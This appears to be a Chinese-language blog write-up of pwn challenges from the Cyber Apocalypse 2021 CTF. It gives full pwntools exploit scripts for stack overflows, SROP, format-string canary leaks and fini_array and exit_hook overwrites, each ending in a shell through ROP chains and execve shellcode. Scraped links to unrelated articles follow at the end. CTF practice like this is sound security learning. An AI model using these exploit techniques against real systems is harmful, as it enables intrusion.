Cyber Apocalypse 2021 pwn write up
Controller
考点是整数溢出和scanf函数的引发的栈溢出漏洞,泄露libc地址将返回地址覆盖成one_gadgets拿到shell。
1 from pwn import *
2
3 p = process(['./pwn'],env={'LD_PRELOAD':'./libc.so.6'})
4 elf = ELF('./pwn')
5 libc = ELF('./libc.so.6')
6 context.log_level = 'debug'
7
8 pop_rdi = 0x004011d3
9 og = [0x4f3d5,0x4f432,0x10a41c]
10
11 p.recvuntil('recources: ')
12 p.sendline('-1 -65339')
13 p.sendlineafter('> ','2')
14 p.recvuntil('problem?\n> ')
15
16 payload = 'a'*0x20+'bbbbbbbb'
17 payload+= p64(pop_rdi)+p64(elf.got['puts'])+p64(elf.plt['puts'])
18 payload+= p64(elf.symbols['_start'])
19 p.sendline(payload)
20 p.recvuntil('ingored\n')
21 libc_base = u64(p.recvuntil('\x7f').ljust(8,'\x00'))-libc.symbols['puts']
22 print 'libc_base-->'+hex(libc_base)
23 shell = libc_base+og[0]
24
25 p.recvuntil('recources: ')
26 p.sendline('-1 -65339')
27 p.sendlineafter('> ','2')
28 p.recvuntil('problem?\n> ')
29
30 payload = 'a'*0x20+'bbbbbbbb'
31 payload+= p64(shell)
32 p.sendline(payload)
33 p.interactive()
Minefield
程序保护如图:

程序有一个任意写,并且有后门函数。
- 当
RELRO保护为NO RELRO的时候,init.array、fini.array、got.plt均可读可写; - 为
PARTIAL RELRO的时候,ini.array、fini.array可读不可写,got.plt可读可写; - 为
FULL RELRO时,init.array、fini.array、got.plt均可读不可写。 - 程序在加载的时候,会依次调用
init.array数组中的每一个函数指针,在结束的时候,依次调用fini.array中的每一个函数指针。
程序在执行的时候,流程如下图:

简单地说,在main函数前会调用.init段代码和.init_array段的函数数组中每一个函数指针。同样的,main函数结束后也会调用.fini段代码和.fini._arrary段的函数数组中的每一个函数指针。
所以这道题,思路就是直接打.fini_array数组,让指向后门函数,在main函数执行完之后就会执行后门函数,就可以拿到flag了。
1 from pwn import *
2
3 p = process('./pwn')
4 elf = ELF('./pwn')
5 context.log_level = 'debug'
6
7 p.sendlineafter('> ','2')
8 p.sendafter('mine: ','6295672')
9 p.sendafter('plant: ','4196715')
10 p.recv()
11 p.recv()
System dROP
此题有点坑,我换了三种方法都没做出来。

程序很简单,就只有一个read函数,但是程序端存在syscall ret。

我很自觉的就想到srop了。这里我说一下我用的3种方法:
1.通过read函数的返回值给rax,让syscall调用write函数泄露libc版本,用one_gadgets打。
2.用srop调用execve拿shell。
3.用srop调用mprotect将bss段赋予可执行权限,自己写shellcode来拿shell。
exp1:
1 from pwn import *
2
3 p = process('./pwn')
4 elf = ELF('./pwn')
5 libc = ELF('./libc.so.6')
6 context(os='linux',arch='amd64',log_level='debug')
7
8 def duan():
9 gdb.attach(p)
10 pause()
11
12 pop_rdi = 0x0004005d3
13 pop_rsi_r15 = 0x004005d1
14 buf = elf.bss()+0x100
15 syscall = 0x0040053B
16 main = elf.symbols['_start']
17 leave_ret = 0x0040056E
18 og = [0x4f365,0x4f3c2,0xe58b8,0xe58bf,0xe58c3,0x10a45c,0x10a468]
19 ret = 0x0040056F
20
21 payload = 'a'*0x20+'bbbbbbbb'+p64(pop_rdi)+p64(0)
22 payload+= p64(pop_rsi_r15)+p64(buf)+p64(0)+p64(elf.plt['read'])
23 payload+= p64(main)
24 p.send(payload)
25 payload = p64(pop_rdi)+p64(0)
26 payload+= p64(pop_rsi_r15)+p64(buf+0x100)+p64(0)
27 payload+= p64(elf.plt['read'])
28 payload+= p64(pop_rdi)+p64(1)
29 payload+= p64(pop_rsi_r15)+p64(elf.got['read'])+p64(0)
30 payload+= p64(syscall)
31 payload+= p64(pop_rdi)+p64(0)
32 payload+= p64(pop_rsi_r15)+p64(0x6011c0+8)+p64(0)
33 payload+= p64(elf.plt['read'])
34 p.send(payload)
35
36 payload = 'a'*0x20+p64(buf-8)+p64(leave_ret)
37 p.send(payload)
38 p.send('a')
39 libc_base = u64(p.recv(6).ljust(8,'\x00'))-libc.symbols['read']
40 print 'libc_base-->'+hex(libc_base)
41 system = libc_base+libc.symbols['system']
42 binsh = libc_base+libc.search('/bin/sh').next()
43 shell = libc_base+og[1]
44
45 payload = p64(ret)+p64(pop_rdi)+p64(binsh)+p64(system)
46
47 payload = p64(shell)
48 p.send(payload)
49 p.interactive()
exp2:
1 from pwn import *
2
3 p = process('./pwn')
4 elf = ELF('./pwn')
5 libc = ELF('./libc.so.6')
6 context(os='linux',arch='amd64',log_level='debug')
7
8 def duan():
9 gdb.attach(p)
10 pause()
11
12 pop_rdi = 0x0004005d3
13 pop_rsi_r15 = 0x004005d1
14 buf = elf.bss()+0x150
15 syscall = 0x0040053B
16 main = elf.symbols['_start']
17 leave_ret = 0x0040056E
18
19 sigframe = SigreturnFrame()
20 sigframe.rax = constants.SYS_execve
21 sigframe.rdi = buf
22 sigframe.rsi = 0
23 sigframe.rdx = 0
24 sigframe.rsp = 16
25 sigframe.rbp = 0
26 sigframe.r8 = 0
27 sigframe.r9 = 0
28 sigframe.r10 = 0
29 sigframe.rip = syscall
30
31 #payload = p64(start_addr)+'a'*0x8+str(sigframe)
32 payload = 'a'*0x20+'bbbbbbbb'+p64(pop_rdi)+p64(0)
33 payload+= p64(pop_rsi_r15)+p64(buf)+p64(0)+p64(elf.plt['read'])
34 payload+= p64(main)
35 p.send(payload)
36
37 payload = '/bin/sh\x00'
38 payload+= p64(pop_rsi_r15)+p64(0x6011d0+8)+p64(0)
39 payload+= p64(elf.plt['read'])
40 payload+= p64(pop_rsi_r15)+p64(buf+0x200)+p64(0)
41 payload+= p64(elf.plt['read'])+p64(syscall)
42 p.send(payload)
43
44 payload = 'a'*0x20+p64(buf)+p64(leave_ret)
45 p.send(payload)
46 p.send(str(sigframe))
47 p.send('a'*15)
48 p.interactive()
exp3:
1 from pwn import *
2
3 p = process('./pwn')
4 #p = remote('46.101.23.157',32462)
5 elf = ELF('./pwn')
6 context(os='linux',arch='amd64',log_level='debug')
7
8 def duan():
9 gdb.attach(p)
10 pause()
11
12 pop_rdi = 0x0004005d3
13 pop_rsi_r15 = 0x004005d1
14 buf = elf.bss()+0x150
15 syscall = 0x0040053B
16 main = elf.symbols['_start']
17 leave_ret = 0x0040056E
18 ret = 0x000040056F
19
20 sigframe = SigreturnFrame()
21 sigframe.rax = constants.SYS_mprotect
22 sigframe.rdi = buf&0xFFFFFFFFFFFFF000
23 sigframe.rsi = 0x1000
24 sigframe.rdx = constants.PROT_READ | constants.PROT_WRITE | constants.PROT_EXEC
25 sigframe.rsp = buf
26 sigframe.rip = syscall
27
28 #payload = p64(start_addr)+'a'*0x8+str(sigframe)
29 payload = 'a'*0x20+'bbbbbbbb'+p64(pop_rdi)+p64(0)
30 payload+= p64(pop_rsi_r15)+p64(buf)+p64(0)+p64(elf.plt['read'])
31 payload+= p64(main)
32 p.send(payload)
33 #00400541
34 payload = p64(0x0400541)
35 payload+= p64(pop_rsi_r15)+p64(buf+0x50)+p64(0)
36 payload+= p64(elf.plt['read'])
37 payload+= p64(pop_rsi_r15)+p64(buf+0x200)+p64(0)
38 payload+= p64(elf.plt['read'])+p64(syscall)
39
40 p.send(payload)
41
42 payload = 'a'*0x20+p64(buf)+p64(leave_ret)
43 p.send(payload)
44 p.send(str(sigframe))
45 p.send('a'*15)
46 shellcode=asm(
47 '''
48 xor rsi,rsi
49 mul esi
50 push rax
51 mov rbx,0x68732f2f6e69622f
52 push rbx
53 push rsp
54 pop rdi
55 mov al, 59
56 syscall
57 '''
58 )
59 payload = shellcode.ljust(0x28,'\x00')+p64(ret)+p64(ret)+p64(ret)+p64(0x601168)
60 p.send(payload)
61 p.interactive()
比较遗憾的是,这三种方法都是本地可以拿到shell,远程拿不到。未解之谜,不知道为什么拿不到shell。。。
上面三个exp的共同点是,都是执行了两次main函数或者start函数。有师傅告诉我说一次性搞定,别再重启程序。我贴一下main函数的汇编,惊奇的发现,在执行完read函数之后,竟然有mov eax,1的操作。。。如此一来,就不用利用read函数的返回值给rax赋值就可以调用write函数了。(果然,做系统调用的题还是得多看汇编)

如此一来,就是先用系统调用泄露libc版本,然后调用read函数在bss段写one_gadgets,再栈转移过去执行拿shell。
exp:
1 from pwn import *
2 context.log_level='debug'
3
4 p = process('./pwn')
5 elf=ELF('./pwn')
6 libc=ELF('./libc.so.6')
7
8 pop_rdi=0x0004005d3
9 pop_rsi_r15=0x0004005d1
10 syscall_ret=0x40053b
11 leave_ret=0x000040056e
12 og = [0x4f365,0x4f3c2,0x10a45c]
13
14 payload='a'*0x20+p64(0x601138)+p64(pop_rdi)+p64(1)+p64(pop_rsi_r15)+p64(elf.got['read'])+p64(0)+p64(syscall_ret)+p64(pop_rdi)+p64(0)+p64(pop_rsi_r15)+p64(0x601140)+p64(0)+p64(elf.plt['read'])+p64(leave_ret)
15 p.sendline(payload)
16 libc_base=u64(p.recvuntil('\x7f')[-6:].ljust(8,'\x00'))-libc.symbols['read']
17 shell = libc_base+og[1]
18 print 'libc_base-->'+hex(libc_base)
19
20 payload=p64(shell)
21 p.sendline(payload)
22 p.interactive()
Harvester
格式化字符串漏洞泄露canary和libc版本,栈溢出覆盖返回地址拿shell。
1 from pwn import *
2
3 p = process(['./pwn'],env={"LD_PRELOAD":"./libc.so.6"})
4 elf = ELF('./pwn')
5 libc = ELF('./libc.so.6')
6 context.log_level = 'debug'
7
8 og = [0x4f3d5,0x4f432,0x10a41c]
9
10 #leak canary
11 p.recvuntil('> ')
12 p.sendline('1')
13 p.recvuntil('> ')
14 p.send('%11$p')
15 p.recvuntil('is: ')
16 canary = int(p.recvuntil('00'),16)
17 print 'canary-->'+hex(canary)
18
19 #leak libc_base
20 p.recvuntil('> ')
21 p.sendline('1')
22 p.recvuntil('> ')
23 p.send('%21$p')
24 p.recvuntil('is: ')
25 libc_base = int(p.recv(14),16)-231-libc.symbols['__libc_start_main']
26 print 'libc_base-->'+hex(libc_base)
27 shell = libc_base+og[0]
28
29 p.recvuntil('> ')
30 p.sendline('2')
31 p.recvuntil('> ')
32 p.sendline('y')
33 p.recvuntil('> ')
34 p.sendline('-11')
35
36 payload = 'a'*0x28+p64(canary)+'bbbbbbbb'+p64(shell)
37 p.recvuntil('> ')
38 p.sendline('3')
39 p.recvuntil('> ')
40 p.send(payload)
41 p.interactive()
Save_the_environment
可以直接拿到libc地址,有一次任意写的机会,直接打exit_hook为one_gadgets拿到shell。
因该是非预期了,因为有一次任意读没有用到。而且这个存在一定的偶然性,因为我提前知道了libc版本,即使我本地的环境也是2.27,但是在找exit_hook的时候,还是费了很大劲。原因是因为小版本的libc地址和ld地址的距离不一样,不过好在差距都是差0x1000的倍数,好找一点。
1 from pwn import *
2
3 p = process(['./pwn'],env={"LD_PRELOAD":"./libc.so.6"})
4 elf = ELF('./pwn')
5 libc = ELF('./libc.so.6')
6 context.log_level = 'debug'
7
8 og = [0x4f3d5,0x4f432,0xe546f,0xe5617,0xe561e,0xe5622,0x10a41c,0x10a428]
9
10 for i in range(5):
11 p.sendlineafter('> ','2')
12 p.sendlineafter('> ','1')
13 p.sendlineafter('> ','n')
14
15 libc_base = int(p.recvuntil(']')[-15:-1],16)-libc.symbols['printf']
16 print 'libc_base-->'+hex(libc_base)
17 exit_hook = libc_base+0x619060+3840
18 shell = libc_base+og[7]
19 print 'exit_hook-->'+hex(exit_hook)
20 free_hook = libc_base+libc.symbols['__free_hook']
21 malloc_hook = libc_base+libc.symbols['__malloc_hook']
22 print 'free_hook-->'+hex(free_hook)
23 environ = libc_base+libc.symbols['environ']
24 '''
25 for i in range(5):
26 p.sendlineafter('> ','2')
27 p.sendlineafter('> ','1')
28 p.sendlineafter('> ','n')
29 p.recvuntil('want.\n')
30 p.send(str(environ))
31 stack = u64(p.recvuntil('\x7f')[-6:].ljust(8,'\x00'))
32 print 'stack-->'+hex(stack)
33 attack = stack-288
34 print 'attack-->'+hex(attack)
35 '''
36 p.sendlineafter('> ','1')
37 #p.sendlineafter('> ',str(exit_hook+8+0x2000))
38 p.sendlineafter('> ',str(exit_hook+8))
39 p.sendlineafter('> ',str(shell))
40 p.interactive()
小结
1.学习到了fini.array的利用。
2.做系统调用的题多看汇编。
3.exit_hook好用,但是偏移得在实际环境种慢慢调试。
4.libc_base+libc.symbols['environ']中会存在栈地址,可以用来泄露栈地址。
后记
没有学到堆利用,但是巩固了栈的很多知识。感觉还不错,就是熬夜做题太伤身体了。。。

Cyber Apocalypse 2021 pwn write up的更多相关文章
- 2021能源PWN wp
babyshellcode 这题考无write泄露,write被沙盒禁用时,可以考虑延时盲注的方式获得flag,此exp可作为此类型题目模版,只需要修改部分参数即可,详细见注释 from pwn im ...
- 虎符2021线下赛pwn writeup
jdt 一个图书管理系统,但并不是常规的堆题.edit和show函数可以越界.edit函数和show函数相互配合泄露libc基地址,将main函数的返回地址覆盖成onegadgets拿shell. f ...
- 【wp】HWS计划2021硬件安全冬令营线上选拔赛
逆向手在夹缝中艰难求生系列. 这篇真的存粹是做题笔记了,对内核驱动啥的不太懂,pwn也不会,能做出来的题都是硬逆出来的( childre最后死活没整出来,后来看大佬的wp才知道对子进程有修改(.)呜呜 ...
- pwn题命令行解题脚本
目录 脚本说明 脚本内容 使用 使用示例 参考与引用 脚本说明 这是专门为本地调试与远程答题准备的脚本,依靠命令行参数进行控制. 本脚本支持的功能有: 本地调试 开启tmux调试 设置gdb断点,支持 ...
- 2021 羊城杯WriteUP
比赛感受 题目质量挺不错的,不知道题目会不会上buu有机会复现一下,躺了个三等奖,发下队伍的wp Team BinX from GZHU web Checkin_Go 源码下载下来发现是go语言写的 ...
- 2020ACTF pwn writeup
为了打2021的ACTF,想着把2020年的pwn题做一做吧,发现2020年的pwn题质量还挺高的.反倒是2021年的题目质量不太高,好像是没有专门的pwn师傅出题,可以理解,毕竟办校赛,说白了就是用 ...
- 2021羊城杯比赛复现(Crypto)
bigrsa 题目: from Crypto.Util.number import * from flag import * n1 = 10383529640908175186077053551474 ...
- [pwn基础]动态链接原理
目录 [pwn基础]动态链接原理 动态链接概念 动态链接调用so例子 GOT(全局偏移表) got表劫持小实验 PLT(延迟绑定) PLT概念 延迟绑定(PLT表) 实战学习 [pwn基础]动态链接原 ...
- [pwn基础] Linux安全机制
目录 [pwn基础] Linux安全机制 Canary(栈溢出保护) 开启关闭Cannary Canary的种类 Terminator canaries(终结者金丝雀) Random cannarie ...
随机推荐
- [atARC109F]1D Kingdom Builder
考虑最终有石子的位置的状态,判断一种状态是否可行 反过来,依次删除石子,删除条件是:当删除的石子是该段最后一个(即其两边都没有石子了),要求除其以外,每个连续段旁边的两个点都与其颜色不同 构造一种删除 ...
- [luogu5665]划分
暴力dp,用f[i][j]表示前i个数,最后一个区间是(j,i]的最小答案,转移方程用可以用前缀和来优化,复杂度为$o(n^3)$(然后可以各种优化到$o(n^2)$,但这不需要)输出f[i][j], ...
- Java-ASM框架学习-修改类的字节码
Tips: ASM使用访问者模式,学会访问者模式再看ASM更加清晰 ClassReader 用于读取字节码,父类是Object 主要作用: 分析字节码里各部分内容,如版本.字段等等 配合其他Visit ...
- vue 3 学习笔记 (八)——provide 和 inject 用法及原理
在父子组件传递数据时,通常使用的是 props 和 emit,父传子时,使用的是 props,如果是父组件传孙组件时,就需要先传给子组件,子组件再传给孙组件,如果多个子组件或多个孙组件使用时,就需要传 ...
- @Value设置默认值
使用@Value注解将变量进行自动注入的时候,经常会出现的一个问题就是我们可能会由于在配置参数中忘记设置该参数造成整个项目报错,其实我们可以通过给被@Value注解作用的变量进行注入的时候如果没有找到 ...
- ound interface org.elasticsearch.common.bytes.BytesReference, but class was expected
es得版本和本地项目不一致.. 配置es版本,现在使用得是5.2得版本,可是 maven上看到 elasticsearch-rest-high-level-client 最低也得6版本.下载安装高版本 ...
- 【GS文献】全基因组选择模型研究进展及展望
目录 1. GS概况 2. GS模型 1)直接法 GBLUP 直接法的模型改进 ①单随机效应 ②多随机效应 2)间接法 间接法模型 基于间接法的模型改进 3. GS模型比较 模型比较结论 4.问题及展 ...
- 【4】蛋白质组学鉴定软件之MSGFPlus
目录 1.简介 2.安装运行 3.结果 1.简介 MSGF+也是近年来应用得比较多的蛋白鉴定软件.java写的,2008年初次发表JPR,2014年升级发表NC,免费开源,持续更新维护,良心软件.而且 ...
- exit(0) exit(1) return() 3个的区别
exit(0):正常运行程序并退出程序: exit(1):非正常运行导致退出程序: return():返回函数,若在主函数中,则会退出函数并返回一值. 详细说: 1. return返回函数值,是关键字 ...
- cp -拷贝文件出现错误
对于cp -a最主要的用法是在保留原文件属性的前提下复制文件. 如果出现了拷贝文件错误,在文件前面加上-a 即可